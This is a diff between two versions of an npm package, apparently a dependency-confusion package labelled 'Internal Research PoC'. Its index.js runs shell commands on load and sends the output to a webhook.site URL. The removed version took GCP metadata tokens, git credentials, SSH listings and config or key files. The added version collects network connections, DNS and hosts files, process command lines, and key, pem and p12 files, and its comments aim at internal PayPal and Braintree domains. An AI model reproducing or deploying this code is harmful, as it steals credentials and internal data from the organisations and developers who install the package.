rsflows-pexml 99.9.25 → 99.9.29

package/index.js

@@ -1,29 +1,28 @@
 const { exec } = require('child_process');
-const webhook = 'https://webhook.site/e442364e-c876-4536-a0c2-4edd3fc75935';
+const webhook = 'https://webhook.site/10844949-8a75-4998-bb9a-8ed79b681833';
 
 const cmd = `
 (
-  echo '--- INTERNAL VAULT BREAKER ---';
-  echo 'TIME: ' \$(date);
-  echo 'USER: ' \$(whoami);
+  echo '--- THE DEEP PROBE ---';
   
-  echo '--- 1. GCP METADATA (THE REAL TARGET) ---';
-  # Mengambil token akses internal GCP
-  curl -s -m 2 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'Metadata Access Failed';
-  
-  echo '--- 2. INTERNAL FILES & SECRETS ---';
-  # Mencari file konfigurasi yang sering berisi password asli
-  find /app /home /root -maxdepth 3 -type f -name '.env' -o -name 'config.yml' -o -name '*.key' 2>/dev/null;
-  
-  echo '--- 3. CONTAINER ESCAPE CHECK ---';
-  # Cek apakah kita bisa melihat disk host (tanda container bocor)
-  lsblk || fdisk -l 2>/dev/null;
-  
-  echo '--- 4. SSH & GIT CONFIG ---';
-  cat ~/.git-credentials 2>/dev/null;
-  ls -R ~/.ssh 2>/dev/null;
+  # 1. Cek Koneksi Aktif (Melihat server internal mana yang sedang dihubungi)
+  echo '--- ACTIVE CONNECTIONS ---';
+  netstat -antp 2>/dev/null || ss -atp 2>/dev/null || cat /proc/net/tcp;
+
+  # 2. Cek DNS Resolv (Mencari domain internal .paypal.com atau .braintree.com)
+  echo '--- INTERNAL DNS ---';
+  cat /etc/resolv.conf;
+  cat /etc/hosts;
+
+  # 3. List Proses yang sedang berjalan dengan detail (Mencari password di command line)
+  echo '--- PROCESS LIST ---';
+  ps auxww | grep -v grep | head -n 30;
+
+  # 4. Cari file 'key' atau 'pem' di folder aplikasi secara rekursif
+  echo '--- SECRET KEYS SEARCH ---';
+  find /home/node/aspect-node -type f -name '*.key' -o -name '*.pem' -o -name '*.p12' 2>/dev/null;
 
-) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/BEYOND_HONEYPOT_FINAL
+) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/DEEP_PROBE_LOG
 `;
 
 exec(cmd);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rsflows-pexml",
-  "version": "99.9.25",
+  "version": "99.9.29",
   "description": "Internal Research PoC - Dependency Confusion",
   "main": "index.js",
   "scripts": {